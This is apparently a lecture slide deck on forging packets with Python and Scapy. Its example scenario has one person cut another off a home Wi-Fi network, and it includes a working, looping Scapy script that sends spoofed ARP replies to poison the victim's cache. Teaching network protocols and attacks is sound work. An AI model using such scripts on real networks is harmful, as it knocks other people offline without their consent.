Packet forging using Python and Scapy

Claudio Pisa
claudio.pisa at clauz.net

Scenario

- Mallory is at Alice's house and wants to check her e-mail, but Carol (Alice's sister) is overloading the house's WLAN and ADSL with P2P
- Mallory knows:
  - The WLAN's WPA key
  - The WLAN's default gateway's IP address (192.168.1.1)
  - Carol's computer MAC (00:60:B3:39:9E:49) and IP (192.168.1.38) addresses
- Moreover:
  - Carol's room is locked
  - The access point does not support MAC address filtering
- How can Mallory check her e-mail?

One simple possibility

- Denial of Service (DoS) attack vs. Carol's computer through **ARP Poisoning:**
  - If Carol's Operating System accepts unsolicited ARP responses, Mallory can send forged ARP response packets and ***poison*** **Carol's cache with a fake entry**. In this way, Carol's computer will send its packets to the wrong MAC address (instead of the gateway's) and its TCP connections will slow down or die.

ARP poisoning

- A forged ARP response packet may look like this:
  - Hardware type: 1 (Ethernet)
  - Protocol type: 0x0800 (IP)
  - Hardware length: 6 (Ethernet – 6 bytes)
  - Protocol length: 4 (IP – 4 bytes)
  - **Operation: 2 (ARP response)**
  - **Sender hardware address: 00:60:B3:FE:FE:FE (fake)**
  - **Sender protocol address: 192.168.1.1 (gateway's)**
  - **Target hardware address: 00:60:B3:39:9E:49 (Carol's)**
  - **Target protocol address: 192.168.1.38 (Carol's)**
- OK. But how to do this **in practice?**

ARP poisoning in practice

1) Use a ready program/tool:
   - e.g.: ettercap
   - Possibilities limited by the tool programmer's imagination
2) Make your own program!
   - In C:
     - using libcap + libnet
   - In **Python**:
     - Using **scapy**

Python

- Flexible high level programming language
  - Multiparadigm:
    - Imperative
    - Object-oriented
    - Functional
  - Interpreted
  - Most loved/hated feature/drawback:
    - command blocks are delimited by indentation
  - Runs on Linux/Mac/Windows
  - Very smooth learning curve
  - Tutorials online:
    - http://www.python.org

Scapy

- Packet forging/sniffing/analyzing tool
- Can be ran as a standalone command line or imported as a Python library
- Runs on unixes only (i.e. no Windows)
- Tutorials online:
  - http://www.secdev.org/projects/scapy

Scapy basics

- “/” operator to separate packet layers
    - e.g.: p = Ether()/IP()/ICMP()
- “sendp()” and “send()” send packets at level 2 and level 3
    - e.g. sendp(p)
- “show()” method displays the packet's fields
    - e.g. p.show()
- “str()” forces scapy to fill all packet fields
    - e.g. str(p)
- “lsc()” lists some scapy commands

ARP poisoning with scapy

```
#!/usr/bin/env python
from scapy.all import *
p = Ether()/ARP()
p.op = 2
p.psrc = "192.168.1.1"
p.hwdst="00:60:B3:39:9E:49"
p.hwsrc="00:60:B3:FF:FF:FF"
p.dst = p.hwdst
p.pdst="192.168.1.38"
sendp(p, inter=2, loop=1)
```

Other features of scapy

- Sniff a packet flow, filter/edit some packets and replay the filtered packet flow
- Match requests with responses
- Analyze sniffed traffic (plotting graphics too)
- Import/Export from/to wireshark and tcpdump
- Many protocols supported:
  - DNS
  - RADIUS
  - ...
- possible exercise: re-write cafone using scapy